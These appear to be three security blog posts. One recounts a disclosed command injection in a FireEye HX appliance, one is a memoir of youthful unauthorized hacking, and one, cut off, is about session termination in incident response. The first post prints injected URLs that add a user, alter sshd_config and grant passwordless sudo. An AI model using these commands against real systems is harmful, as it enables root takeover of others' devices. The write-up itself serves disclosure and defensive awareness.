April 29, 2019

Real Trojan Horses - A Case for Independently Testing Third Party Appliances


Intro


Would you plug a device into your DMZ or trusted server VLAN that someone handed you without looking at it first?  This is the very definition of a rogue device, after-all.  You probably want to have some control over or at least visibility into the device to know if operating system and software packages are patched, as part of your patch management program.  Before you answer no, take a step back.  It's possible you've already done this within your corporate and personal home network.  

We put a lot of faith in our vendors, especially ones that are supposed to help keep us more secure.  These third party appliances and software are typically closed-source and proprietary.  You're probably thinking, "Well I include the private IP address in-scope for my recurring vulnerability scans so I'm good, right?".  I would commend you for doing this, but I would argue that looking at these devices and software (without source) from this perspective is the equivalent of doing an External scan.  You're only seeing vulnerabilities from the available services or front-end code, not the underlying operating system or software packages that may not be patched, are configured incorrectly, etc.

Maybe now you're thinking, "Well I can trust security vendors because they know better, right?".  (thought no one, ever)  Unfortunately, from my experience, the answer is no and I'll share some of my experiences below.  Security appliances such as Firewalls and Intrusion Detection Systems have made simple security mistakes that may shock you, or not.  Just take the recent Cisco ASA default backdoor credentials as an example.  These vendors should know better!  That being said, we don't all practice what we preach and this may be an opportunity for even us security professionals to take a look at our processes and baseline standards.  A lot of penetration testing firms even deploy physical devices or virtual machines that allow them to do remote testing, but without a plan to update or remove these when not in use they may become outdated and pose a new security threat to the organization they're trying to help protect.

Hardware appliances are especially concerning because what you see from your own network is the "outside" perimeter of that device and it's usually locked down to prevent customers from getting direct access to the underlying system.  It's a little like seeing the tip of the iceberg and hoping the majority of the mass below the water won't sink your ship.  Then you might have a Titanic issue on your hands.. 😬

"Iceberg, Straight Ahead!"

Experiences


The following are some of my experiences.  This is not a very complete list, as we are constantly coming across issues during penetration testing exercises.  These are but a few notable examples from my personal experience which are a few years old now but I feel make my point.

Security Appliances
  • FireEye HX
A few years back I was tasked with implementing and administering a (then Mandiant) FireEye security appliance, their HX product.  The 2U rack server was packaged up nicely and a web interface allowed for the provisioning and administration of the device on the customer's network.  CentOS was the underlying operating system, but you had to leverage FireEye's support service if there was a need to SSH into it for any reason, which they would do so through a screen share.

I could understand this at the time, their "bread and butter" were these Indicators of Compromise (IOC) threat intelligence rules that would download and live physically on the filesystem, as well as their PHP code which made up the user interface experience and background scripts.

I then got the system up and running and a Qualys network vulnerability scan came back relatively clean.  As I began poking around on the system, specifically in the "Tools" section, I noticed there was a "Ping" and "Trace Route" feature.  You could specify an IP and see the output of the tool in the web browser.  Neat!  Well, not so fast.. I quickly realized Command Injection was possible after specifying a simple semicolon.  This seemed to result in an XML parsing error with the standard out at the bottom!

https://localhost:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,;%20whoami%20../

Naturally, the web service was running as root.  You heard that correctly, a security vendor was running the Apache web service as root.  I can't even.. 


This is when I finally got the opportunity to poke my head under water and take a look at the rest of that iceberg.  With a series of commands, I was able to create an SSH user with sudoers rights :

https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; useradd -m -p PASSWORD USER
https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; cp /etc/ssh/sshd_config /etc/ssh/sshd_configBACKUP
https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; echo "AllowUsers USER” >> /etc/ssh/sshd_config
https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; cp /etc/sudoers /etc/sudoersBACKUP
https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; echo “USER ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; service sshd restart
Nice!  I have root access directly on the appliance now.  From here I could access all sorts of information I probably wasn't supposed to see, such as IOCs, source code, and default passwords.

Mandiant IOC CVE

So now that we can see the whole "berg", what's under the hood in terms of vulnerabilities?  Surely FireEye keeps their OS and third party applications patched on a regular basis and practice good secure coding techniques!  (This is a joke, remember the "root" web service account?)  To be fair, the NEI hardware vendor may be partially to blame.

I then configured the vulnerability scanner to use SSH credentials with sudo rights and targeted the machine again.  This time, a ridiculous number of service configuration issues, OS and Third Party Patching issues, and a handful of other vulnerabilities lit up the report with Critical, High, and Medium severities that weren't visible before authentication.  I'm working on getting an image of the report for specifics and will update this blog when I do, but I no longer have that information readily available since it's been a few years now.

I then found the source code for the security web application and saw that it was written in PHP.  I ran RIPS against it, a static source code analysis tool, to identify even more vulnerabilities hidden beneath the surface.  I already knew they were using bad practices with the code injection techniques, which I had found multiple of examples of manually by this time, so I wasn't surprised RIPS found even more examples.

RIPS PHP Code Analysis Report

I don't think they wanted to exclude any vulnerabilities in the OWASP Top Ten.  Again, this is security software written by one of the largest security vendors in the world.  🙄

As you can imagine, if an attacker compromised any of these vulnerabilities as I did, they could use this as a pivot point in a larger attack, moving laterally and eventually compromising the entire network.  Because of the nature of this device, they could render the detection and agents useless and effectively deploy malware to every endpoint and escape detection.  No bueno!

The client I was working for is someone I admire in the Cyber Security community and had issues with this appliance sitting on their network in the state that it was in.  We contacted Mandiant and reported the issue, but nothing really came of it.  I was later told this likely fell through the "cracks" due to the acquisition.  Then, fast forward a couple of years later when they're now FireEye and no longer Mandiant, another researcher found the same initial flaw I did and went straight to the media with it.  It gathered a lot of attention due to FireEye not having a bug bounty program and the researcher was essentially blackmailing them by withholding other vulnerabilities.

I work for a very reputable security company and we collectively decided the right thing to do here was to responsibly disclose the findings (a second time) to the new FireEye executive team.  They were thankful for the findings and handled the situation well, even rewarding me with CVE's for a few of the findings that hadn't previously been reported by that time.

Third Party Software
  • Adobe RoboHelp Server
Here's another example of how third party software or hardware can introduce vulnerabilities into your network.  I was doing a penetration test for a client whom I admire for really being on top of their patch management program.  They do an superb job of patching not just operating systems, but third party applications in both Windows and Linux environments, which is such a beautiful thing to see.  In fact, their vulnerability assessments are essentially squeaky clean, except for the unavoidable occasional new vulnerability that comes out between patch cycles.

This is also a client we've done quarterly tests for for a couple of years now.  As a penetration tester, from my perspective, I was happy for the client but was frustrated by how difficult it was to find an exploitable vulnerability I could leverage from the outside to gain Internal access the their environment.  I decided my time would be best spent thinking outside of the box and really doing some fuzzing against the external services that were available, specifically web services.

One of these web services was an application called Adobe RoboHelp.  I hadn't heard of it so I started poking around and diving deep within the logic.  I manually altered parameters and would use Burp Suite to actively and passively test the new responses until finally, I found some unauthenticated SQL Injection.  This was an externally facing web service and most RobotHelp instances are, because the purpose is to offer support and how-to articles to end users who visit the site.

Needless to say, with SQL Injection there's an opportunity to access sensitive data and even potentially execute arbitrary code on the OS.  Because of this critical issue introduced by a trusted third party, an organization's otherwise secure environment is now vulnerable to a breach.  I contacted Adobe's response team, who were a pleasure to work with, as they created a patch for the issue.  They also awarded me with a CVE!  I then communicated with my client to make sure they were aware of the patch and tested again to ensure the issue was properly mitigated.

Recommendation


In the past as a penetration tester I naturally migrated to custom developed applications, assuming the road less traveled was where I would find my exploitable bugs.  As a System's Administrator I've assumed a well known vendor's product, especially a Cyber Security one, would be safe to trust.  I've assumed their products have gone through rounds of testing and they follow best practices when developing code.  These two incidents, in addition to a handful of others, have really swayed my thought process from a blue team and red team perspective.

The threat of insecure devices on our networks is greater than ever due to the rise in IoT devices, which are popular in both consumer and enterprise environments.  Just type, "Internet of Things Security" into Google for countless examples of how devices were left open to the Internet with default credentials or other major holes which give attackers a foothold.  A lack of IoT security and infected devices is why I created Digifense all of those years ago, although I no longer maintain it.

My advice to my readers is to simply challenge your vendors, as their customer or potential customer, to share the results of their security tests.  Make sure they were performed recently and regularly, and it's done by a third party.  Are they patching their products and dependencies regularly?  I also encourage all of you to independently test each new device and application prior to placing it on your network, as you would with any untrusted introduction to your environment.  And yes, they should earn your trust by a history of good practices.

If you have an internal security team, what better way to build skills and safely practice testing than against a new product in an isolated VLAN?  If you're adding the newest smart gadget to your home, inspect the network traffic to see if it's encrypted and who or where it's phoning home to.  I do this with an OpenWRT router and tshark.  You can also use a tool like IoT Inspector.  Consider putting IoT gadgets in their own VLAN or guest WiFi network in case they get compromised.  

Lastly, make sure your security vendors practice what they preach.  I wouldn't want to hire someone to protect me if they're not capable of protecting their own product or company.  Have they been involved in breaches?  See if the vendor has a reputation for bad security practices before you buy.  Are they the Titanic, promising to be un-sinkhackable?


Conclusion


My intent with this blog certainly isn't to try and use scare tactics and stir up paranoia, but instead to share my experiences and hopefully allow you to challenge every device or application you deploy into your trusted environment.  Many providers do the right thing and they "eat their own dog food", while others do not, or haven't always.  As security professionals we are trusted to keep the bad guys out, so the last thing we want to do is unintentionally make the environment less secure by introducing a trojan horse dressed like the next security silver-bullet.  

If you liked this blog or you hate it with all of your soul, please let me know and why!  I would love to get feedback on what is and isn't valuable to my readers!

- Curtis Brazzell

April 21, 2019

From Grey to White - An Unspoken Ethical Journey in Cyber Security

Intro


I write this blog entry at the risk of tarnishing my personal and professional reputation.  I do so in hopes that it will help others who are starting out in this industry or those who are still in the grey zone know that this is likely a familiar path for a lot of us "professionals" in this space.  We don't speak of it, often times because of the ethical oaths we've taken in order to obtain our professional certifications or positions in law enforcement, etc.  It's also something I think we've put behind us, even though it's an important part of who we are.  Even though a Black Hat is something I never have considered, I'd be lying if I said I was always the White Hat I am today.  One of the pillars of these professional certifications is "Truth" and "Honesty", so pretending my past was always without blemish and perfectly ethical would be a direct violation of this.  

I want to tell my story because it's part of who I am, and I hope it encourages others who may be in this area of their lives to know that many of us (now) White Hats started out in much the same way.  Many of us have turned a passion into a career that is rewarding, but if we're honest with ourselves, we're still "hackers" at heart.

UPDATE : Ironically, as I finished writing this, current events around Marcus "MalwareTech" Hutchins have stirred a debate in the Cyber Security community on this very topic.

My Story





circa 1993

The year was 1993 and I was in entering the 4th grade.  Our 14 person elementary class (93 in the entire school) was lucky enough to receive a grant allowing us to take home our very own personal computers.  Mine was an original Macintosh (old by then), which I quickly became obsessed with.  We eventually upgraded to newer models.  All of the students along with their families met after school one evening and we were taught how to plug everything in so we knew what to do when we got home.  We also had external dial-up modems we could use for faxing and "electronic mail".  I took it upon myself to remember every cord and every physical component on the machine.  I think I took some pride in knowing just as much as the adults in the room at the time, since we were all new to this.  I can thank this very moment for what set everything in motion for my career today, that same drive and passion fuels me even now.

"Former Indiana School Superintendent H. Dean Evans helped formulate the Buddy project during his eight-year tenure that began in 1985.  Evans said his original hope was to have a computer in the home of every child from kindergarten through high school.  He sees a time when elementary school children will use computers as spontaneously as they now use pencils and crayons."  Thanks, Mr Evans!  We'll throw modern phones in as computers too and.. what are pencils?

1996

Fast forward to 1996.  The movie, "Hackers" just came out within the last year, but I won't end up watching it for another decade or so.  I'm eleven years old and I love my Mac but felt like I had done just about everything I could imagine on the thing.  I was itching for more.  My dad was awesome enough to recognize my drive and had the foresight for the technology boom in the future so he bought the family a Compaq Presario PC with Windows 95 and America Online on it.  Don't forget about Encarta!  Now we were cooking with gas!

Our $2,500-ish 233Mhz PC


Needless to say, for the next few years I became completely obsessed with this machine and everything it had to offer.  I was "viewing source" on websites I admired and memorizing HTML to build my own web pages.  Like everyone else at the time I was heads down in IRC and AOL Instant Messenger (AIM) and I was playing video games like Duke Nukem 3D, Doom, Flight Simulator 95, Jedi Knight Dark Forces, and others.  I learned how to create "hacks" for Jedi Knight DF2 and would have fun playing multiplayer games with those advantages.  I created a player editor for that game as well in Visual Basic.  As I started to program I enjoyed making my own RPG games and I was just getting into building my own computers from extra parts.  Search engines were pretty terrible at this point so I was self taught, mostly because I would break the computer every-possible-way and would be afraid of getting in trouble by my dad so I'd have to fix it.  I did end up making my own meta-search engine to combine results from the greats (AltaVista, Ask Jeeves, Lycos, Yahoo, etc).  This was back when results were less about reliability and more about quantity.

I learned a lot about file systems, registry settings, partitions, how to format and restore an OS, drivers, you name it.  It's embarrassing to admit now but I used to lay awake at night staring at the LEDs on my desktop and hoping I could absorb some of it's knowledge, through osmosis or something.. I would fantasize about being on a competitive panel of "experts" one day and being able to answer every computer question that was thrown out.  Other kids were being eleven-year-olds.  

I'll try to move along, my nostalgia isn't going to rub off on all of you readers who are surely getting bored by now unless you can relate to this time.  I know many got started much earlier or even later in their careers, so let's jump forward to 1998 when "Security" became my new obsession.

1998

A little backstory, I grew up in a small farm town where most other peers were into agriculture and I was the lone one into technology.  I actually somehow managed to get an "F" (my only F in HS) in Agriculture class.  As people started to get into computers around me, our small town would often call and pay me to "fix" their computer problems as I developed a reputation as the local help desk kid.  As a thirteen year old I pretty much knew the ins and outs of Windows 95 and now Windows 98.  Looking back, it seemed everything was a driver or hardware issue!  I spent most of my days on the computer, so much so that I'd often forget to eat meals and my parents would eventually "ground" me from the computer so I would be forced to leave the house and socialize with other kids.  Again, shout out to my parents or I may have wound up so introverted I couldn't communicate like I can today with both technical and non-technical peers.  



One day my dad was talking about this annoying new policy at work where if he doesn't move his mouse for a while the screen will "require him to log in again".  I realized this was a lockout policy and was for security reasons, but I was determined to help get him around this.  Windows 98 at the time had something called Active Desktop, which essentially were HTML web pages that could be used as a desktop wallpaper background.  I had an idea to create an iframe or JavaScript or something that would refresh on a certain interval to make it look as if the computer was actively in use, preventing the lockout from occurring.  My dad thought this was the greatest, but ironically it goes against the very advice I give now a security consultant.

Anyways, the real reason we're visiting 1998.. crashme.com is now a thing, and I heard about it from other kids in my Jr High school who had computers.  There was a pretty small group of us and we were super nerdy, as you can imagine.  This was a site which contained some Windows 95 and Windows 98 Denial of Service (DoS) vulnerabilities that would crash the OS, regardless of which browser you were using (choose between Netscape Navigator or Internet Explorer, yay!).  When I say "crash", I meant your PC instantly got the infamous "Blue Screen of Death" or BSOD by simply visiting the site, and the only way around it was to flick the I/O button and physically turn off your PC.  


As soon as my speedy 28.8kbps modem rendered the site, my face lit up with awe and excitement when my new blue wallpaper greeted me.  How in the world was this working?!  How can I bottle this up and re-use it?  I can't "view source" because by the time I get to the site my PC will crash.  I had an idea, I'd grab the contents of the site from my "Temporary Internet Files" directory which cached the contents of the site locally.  Success!  I could now see what the code was trying to do.  This exploit was pre-Common Vulnerabilities and Exposures (CVE), so it was simply known as the c:/con/con or "con con" vulnerability.  

crashme.com code, thanks to the way back machine!


For those that aren't familiar, Ars Technica describes it well.  "The Windows 9x-era bug was due to an error in the way that operating systems handled special filenames. Windows has a number of filenames that are "special" because they don't correspond to any actual file; instead, they represent hardware devices. These special filenames can be accessed from any location in the file system, even though they don't exist on-disk.

While any of these special filenames would have worked, the most common one used to crash old Windows machines was con, a special filename that represents the physical console: the keyboard (for input) and the screen (for output). Windows correctly handled simple attempts to access the con device, but a filename included two references to the special device—for example, c:\con\con—then Windows would crash. If that file was referenced from a webpage, for example, by trying to load an image from file:///c:/con/con then the machine would crash whenever the malicious page was accessed."

Remember too, this was 1998 and people didn't patch Windows like they do (or don't do) today, so almost everyone was vulnerable for several years.  It's about this time in my life I enter the fitting room known as my bedroom and try on the super alluring grey hat.

CyberTown



Around this time my best friend was really into a virtual chat environment who, you guessed it, was one of my computer buddies in Junior High.  He played this thing all the time and took it super seriously.  You know, like how people are into World of Warcraft.  Is that what kids are into nowadays?  Did I mention I'm old?  Anyway, he talked me into joining and I realized there were tons of people on this thing and it allowed for unfiltered HTML in the public and private chat rooms.  I think you know where this is going..

I realized I could "weaponize" this code with a simple image tag in a chat room and I'd see people drop like flies from the channels.  I could also DM people directly and target them to crash.  I got a super sick rush from this and thought it was pretty much the coolest thing in the universe at the time.  I didn't think about how I was potentially making people lose their saved work, but I thought it was pretty harmless since it shouldn't damage any equipment.

This led me down another path, since I realized HTML could be rendered in direct messages.  I thought, "Well what happens if I create some JavaScript that causes a recipient to make a call to a resource I don't have access to?"  For example, could I send a message to someone which then causes them to message someone else?  This was a beginning of an obsession of mine dealing with Cross-Site Scripting (XSS) and Cross Site Request Forgery (CSRF) before I knew they had names.  I realized through trial and error that for another URL to be called successfully, it had to be URL encoded, but I didn't know what this was at the time.  I just knew certain characters wouldn't work in my payload unless they were "converted" (encoded) to a hex equivalent.  I ended up making my own URL Encoder tool and pretty soon I was terrorizing the virtual town.  

I created payloads that would use CSRF against privileged moderators in the channels and the payload would cause them to delete other user's virtual houses or give me virtual currency in the game.  One of my attacks I tested against my good friend which was designed to message an Operator from his account, which then cursed them out and taunted them to ban him.  I thought this was so cool and couldn't wait to hear from my friend if it worked, my only way to verify the attack, until he called me up and was understandably upset.  I had forgotten how important this was to him and I just got him banned for life under his account.  He rightfully didn't talk to me for a month or so afterwards.  Let this be lesson one for me going down the "dark side" of Information Security.  It wasn't as cool for the victims as I thought it was for me at the time.

I then decided to get out of CyberTown and give up being a nuisance.  I friended a stranger in a chat and told him about my "abilities" which he was very interested in.  I shared my payloads with him (another bad idea) and went on my way.  I later saw in the news (from CyberTown's own site) that someone was going to be prosecuted for "hacking" CyberTown and based on the description of the attacks, couldn't help but wonder if it was the same guy.  A close call?  I remember times when the doorbell would ring and I'd be afraid the FBI was at the door, no joke.

Trouble at School #1

Back in the day, emails with embedded HTML just rendered fully in the client by default.  As a time reference in history about now, the ILOVEYOU worm is all over the media.  I'm now a freshmen in High School and we had our very own network administrator.  She was a kind lady, but I saw her as a technical opponent at the time for whatever reason.  I guess being a teenager I was just stupid and thought I needed to demonstrate just how much smarter I thought I was than her.  I was known as one of the "nice kids" who never saw the principals office and never got into trouble or created attention for myself.  I had the ill-conceived idea to generate an email that just simply showed a green smiley face I created with an embedded wav file maniacally laughing (something to the tune of "MWUAHAHAHAHA..").  I figured the last thing she would see was this before her computer blue-screened.



Being young and dumb, I crafted the email and modified my "sender" address to something made up so I wouldn't be recognized.  I looked it over and without a second though and only a smile, I sent it on.  I got that same rush after it sent.. I knew when she opened it her computer would crash and she wouldn't know who sent it.

The next day I'm sitting in a humanities class when all of a sudden our lesson is interrupted by an office assistant.  She's holding a pink slip in her hand and my stomach suddenly felt queasy.  I knew at that moment she was there for me, and, sure enough she was.  As she announced my name, it's like every head in the class turned to look directly at me and I heard people whispering, "What did he do?".  

As I'm walking to the office all I can think about is how they caught me.  Were her skills superior to mine?  Did she have some advanced way of tracking down the origins of my image or email in some way?  Instead of feeling bad about the attack, I was focused on the technical.

The reality of the situation hit when I entered the office and I saw the disappointed facial expression of the network administrator, the victim of my attack.  I instantly felt awful seeing a person on the other end of this instead of a recipient address.  Like my friend, I got the impression it wasn't just a "cool prank" to her either.  We went in her office, and she was unbelievably gracious to me.  She asked me why I did it and I didn't have a good answer for her.  I told her I liked her.  She was nice enough to tell me to keep my voice down so the principal didn't her us, she was trying to protect me!  She said something like, "Look, I know you can probably do circles around me on a computer but you should put your skills to good use instead of bad.  Also, my computer froze when I opened your email and I was afraid to turn it off so it laughed loudly all night.  My husband and I didn't get any sleep.  Do I have a virus?".  To which I replied, "Oh no nothing like that.  It's just a harmless prank that causes you to force shut off your computer.  No damage should have been done to your files and I didn't expect it to laugh like that on an endless loop.. so...sorry about that!  Oh, by the way, how did you know it was me?".

She explained that my full name was simply at the bottom of the body in the email.  Are you kidding me?!?  I should have known that the email client I was using auto-inserted a signature with my fully registered name (silly me) so even though I had taken the time to mask my sender address it was all for nothing.  DOH!  Let this be lesson two!



Trouble at School #2

I think I'm a Junior in high school at this point.  I've poked around at home on my Internet connection and discovered a POP mail server hosted by my school.  Because the email naming convention was simple, I generated a quick list of all teacher's email addresses.  I didn't have their passwords, but I figured I could bruteforce them over a POP3 connection quickly enough.  I used a tool called Brutus (et tu brute) that would do exactly this for me against a wordlist of user accounts.  I fired it up one night and went to bed.  When I woke up, I was shocked to see it had successfully cracked about 90% of the passwords!  I didn't expect this, but soon saw that a majority of the credentials were the original default of "hawks".  Our mascot was "The Blackhawks" so..  Anyways, I recall funny ones too like the biology teacher's being "froggy" and the math teacher's being "median" or something silly.  No one used caps, numerics, special characters, or a length of over 6 or 7 characters.


I really didn't expect this to be successful.  I didn't think I'd get anyone's password, let alone nearly all of them.  My first thought was, I need to do the right thing this time around and report this.  But first.. I need to look at a couple of inboxes.  You know, to make sure they're uh.. legitimate?  So I looked at my Math teacher's email and bragged about it the next day.  I tried my hardest to resist the temptation to look at anyone else's.  It felt wrong, but I got that same thrill of gaining unauthorized access from the comfort of my home PC.  I stored the plaintext usernames and passwords in a text file called something obvious like, "My_Teachers_Weak_Passwords.txt" and stored them where I stored everything at that time, my Angelfire web directory!  I didn't want to lose what I had so I figured that was a good a place as any!  It had directory indexing enabled so I could easily see all of my files from anywhere if I needed them.  (pre-cloud, same concept)

At some point I got contacted on my Angelfire email account by an educator at another school, saying they somehow came across my file and encouraged me (felt like a threat) to take it down and self-report the incident.  I explained that I had planned to, but conveniently left out the part about the account access.  Anyways, I went about it completely the wrong way by just walking in the principal's office one day and saying something like, "You all should change your passwords, because they're terrible.".  For some reason they didn't respond well to this.  😲  In my mind I was self-reporting and doing the right thing, but failed to see how this freaked them out at the time.  

They didn't know what to do with me, I was their first "hacking" case.  They wanted to make an example of me but they also had a difficult time understanding the scope of what had been done.  They ended up suspending me for a day and required me to go to a therapist because they decided after the first incident I had an "irresistible urge to hack".  Long story short I went, the therapist was confused as to why I was there, diagnosed me with A.D.D. and sent me on my way.

Trouble at School #3 & #4

I won't waste a lot of time explaining these.  Basically, at this point I had a reputation among the faculty and the other students.  The nickname friends called me was, "Hack".  I didn't like it, but it wasn't meant to be an insult either.  My first computer class was a web design class in 2000 which was run by the PE teacher and he used a Web Development for Dummies book as the curriculum.  No joke!  It was hard to sit through with my experience, so I cloned a fake Ask Jeeves (I was just beginning to be a Google fan) search engine portal and made it respond with a silly answer, no matter what you asked it.  Kind of like what Ask Jeeves did by default, now that I think about it!  My friends and I would call the teacher over and ask why our search wasn't working and get a laugh out of how dumbfounded he was by the whole thing.  Yeah, I was that annoying brat kid when it came to computers.  Anyway, there were two additional incidents that got me sent back to the office.  One time was innocent. I was troubleshooting a DNS issue locally and when the teacher saw the Windows Command Prompt open he instantly thought of the Hollywood movies and deduced I had to be hacking again.  I explained myself to the office staff, but this time I was crying wolf.

The second time in this same class, I realized my workstation was logged in still as an Administrator so I used my new privileges to install a game (Jedi Knight Dark Forces II) on the network share so my friends and I could play multiplayer games instead of designing simple web pages.  I used up all of the free space on the drive, which I thought was allocated for just me.. but instead it was for the entire school.  This caused a bit of a Denial of Service situation accidentally and it eventually got back to me.  This was the final straw for the school and I was banned from computer use for the rest of my high school career.  Little did they know, I was a library assistant so in my free time at the library I would continue to scrape local credentials and install annoying prank-ware like the one that makes your mouse jump all over the place, or the screensaver that looks like a BSOD.. those kind of pranks.  They also had software at that time to "lock down" the computers, so I saw it as a personal challenge to bypass those restrictions, which I had.

College

I didn't get in trouble for anything in college but I was far from ethical.  I would pirate software and learned how to use a debugger to reverse engineer (RE) the binaries to bypass the need for keys.  I didn't contribute any "cracks" to the community but I enjoyed making them for my own use.  This skill actually came in handy later in my career when reverse engineering malware samples and creating buffer overflows.

I figured out in college how to hack my original Xbox with only software mods, which wasn't something I came up with on my own.  I had followed some guides but I did find a unique way of efficiently cloning new systems in a relatively short amount of time.  To get everything the way I wanted it with roms and cloned games took me about a year.  I found I could replicate the entire process onto a new Xbox in under an hour.  Word got around somehow, and before I knew it I had a bit of an underground business.  Strangers would show up at my door, offer me some cash, and I'd spit out a hacked Xbox for them.  I didn't even advertise anything, it was simply word of mouth.  This would happen somewhat regularly for a while and my roommates were used to it.  I eventually shut this down but continued to mod just about every console I owned afterwards.

Other Memorable Events

Before my career in Cyber Security, I had done other things I was later not proud of.  I hacked into a few of my friend's AIM accounts and pretended to be them to other buddies, thinking it was funny.  When I turned 16 and had access to a laptop I would war drive, which I didn't know was a thing at the time.  One time I was with a buddy and he and I pulled up to his dad's business.  We sat in the parking lot and I showed him how easy it was to access his internal shared folders which contained sensitive documents.

I hacked all of my neighbor's WiFi passwords, especially the ones who had a default 2Wire gateway password of eleven numbers or which leveraged WEP.  I exploited SQL Injection on an e-commerce site and looked around before reporting it anonymously.  I found logic flaws in Marriott's WiFi registration pages which sent pricing information from the client-side, so it was trivial to make it cost $0.00.  I also lived across from a Marriott in an apartment, so with a Pringles cantenna and this I was set.  Similarly, another e-commerce site did this for product pricing, so I actually ordered something and made it cost a dollar only to feel guilt-stricken and cancel the order before it went through.  That was the first time it actually felt like I was going too far, my conscious wouldn't allow it.  However, I did exploit a flash-based "game" on a local car wash's website and created a script to win a free deluxe wash on demand.  I used this many times before it really hit me that what I was doing was also theft and then gave it up.  

Lastly, whenever I'd go somewhere that had a public terminal that was "locked down", I'd try all of the techniques I learned to try to escape the restrictions.  I did this at hotels, lobbies, anywhere there was public access.

Lessons Learned


At that early time in my life in high school, I looked at those events differently.  I viewed myself as a victim, that because of the school administration's ignorance of technology my "harmless snooping" was unjustly being made an example of.  I didn't take down anything or destroy property and I didn't steal anything, I argued that my unauthorized access was the equivalent of walking into the school after hours and simply looking around.  I've had a bad attitude about this event for years and even convinced friends and family along with myself that the school simply didn't understand. 

Let me be clear: I WAS WRONG

I did things without approval.  I created a situation in which people, even friends, no longer trusted me.  I scared the school administration and because this was new to them and they didn't have an "expert" on staff to help them handle the new risk I posed to them, they didn't know how to move forward.  They knew what I had done was wrong and they rightly wanted to prevent this from happening in the future.  Maybe the next person wouldn't simply view records, but change grades and bring down the network?  

Looking back now I would have received greater satisfaction by responsibly asking for permission and testing their deficiencies in order to report them, as I do today as part of my daily job responsibilities.  That rush of doing something I shouldn't and the fear of being caught which follows is nothing compared to the joy that I get from legally testing environments and in turn effectively communicating risk to those customers, to help them strengthen their defenses.  

I genuinely wanted the school to set up better passwords, but scaring them into doing so and violating their trust by accessing accounts I shouldn't have was not the right approach.  

Because of these events, I now have a spot on my record I'm otherwise proud of.  I take great pride in the quality of work I provide to clients and the ethical White Hat road I've stuck to since starting a career in Cyber Security ten years ago.  Don't get me wrong, there are times where I still really want to stick a single quote or an alert(1) in an input field on a site I'm not authorized to test, but I do my best to resist that temptation.

As ridiculous as the idea of therapy for a hacking addiction seems to me, there is a certain truth to the obsession and the difficulty in denying a temptation to test.  I can almost see how someone would become a black hat and internally justify their own actions.  Hacking may seem like a victim-less crime because you can't physically see or get to know the person on the other end of the wire.  

I think a healthy outlet for people in similar situations is to commit full time to the "light side".  Enter a job in Cyber Security as a penetration tester or red teamer, we could use you!  If that's not an option at the moment or it's not enough, there are bug bounty programs available where you're allowed to do testing and get paid to learn in the process!  There's also a plethora of free resources available online where you can test your skills in safe, sandboxed environments.  Capture the flags, intentionally vulnerable virtual machines (Metasploitable, etc), and web applications like DVWA/bWAPP or hackthebox are just a few worth mentioning.  It's certainly no excuse, but these options weren't available back when I started and the media almost seemed to encourage the idea of young hackers instead of condemning it.  It didn't help that Hollywood sensationalized it and still continues to do so today.  I also felt like I was taking this journey alone because that the time I didn't know of other people who were into this.  I certainly didn't think this could be a career if done legally.  I was completely ignorant of "hacker culture" then and as it exists today.

I'm not self-centered enough to think that this blog will turn away black hats that might read this, but I do hope it helps to make others in a similar grey situation as my younger self to think about their actions and to consider the alternative.  It might sound corny, but we have a responsibility to put our skills to good use and fight cyber crime.  We have a vested interest ourselves in making the Internet a safer place, not just for us, but for our friends and family as well.  This field is both financially and self rewarding when we work together collectively to contribute to the overall "health" of our online community.  I'd like to sincerely apologize to the InfoSec community and to the victims of my hacktivities.  I'd like to especially apologize to the Sheridan school system!  I hope this blog finds it's way to those affected individuals.

Thanks for listening to my story!  Please leave a comment if you agree, disagree, or just want to share a similar experience for other readers!  Also, I know what you're thinking and no, you can't have my killer sweater.

- Curtis Brazzell

April 07, 2019

I'll Be Back - Adding Session Termination to Your IR Plan

CIRP Session Terminator


"I'm Here From the Future"

I wanted to share a recurring issue I run into while doing red team operations against organizations who already have a mature security model and hopefully, offer some easy-to-implement advice to strengthen your Incident Response (IR) efforts.  Perhaps the most important part of what we do in these engagements during the documentation write-up is to provide solid, actionable advice for how to prevent the same type of techniques and "attacks" from being successful in the future.  This specific solution doesn't appear to be common nor is well documented in the community when it comes to Incident Response Plans.  

I'm talking about terminating active sessions of compromised accounts.  Session issues are commonly documented in the Application Security space and are a common scenario when threat modeling.  Session Management Issues such as Session Fixation, Long Timeouts, Not Destroying Properly on Server-Side, and Session Token Mishandling are just a few examples of this.  Although these do an awesome job of limiting the damage a bad actor can do if implemented properly, there needs to be an immediate, reactive action when dealing with a IR scenario.  It's a relatively quick and easy task and it goes a long way in preventing an attacker from having more time to establish persistence in your environment.  Then you can say, (brace for the bad pun) "Hasta la vista, baby!" in your worst Arnold impersonation while feeling better about mitigating the threat of unauthorized use.  If it's Skynet, you have bigger problems.

So what's the problem anyways?  Can't we go back in time and prevent this whole IR situation from happening in the first place?  Um, no.. and frankly I would have expected you to have known that..  But what we CAN do is prepare ourselves with an Incident Response Plan, or enhance an existing one, in case something does happen in the future.  Let me play out a couple of scenarios I've experienced firsthand, where I was the red teamer and was up against a blue team Security Operations Center (SOC).  In both of these situations, I had obtained valid domain credentials from a targeted spear-phishing attack.  It was only a matter of time before my emails were reported and credentials would be reset, so I was racing against time (fully clothed) to maintain an internal foothold.  

Scenario #1

VMWare Horizons & Cisco AnyConnect VPN Access :

I had done my homework beforehand and planned to target two remote administration services.  One being a VPN service and the other, VMWare Horizons, which would allow me to gain access to the VDI environment externally.  I assume other services like Citrix should be on this list as well, but I haven't tested for these purposes.

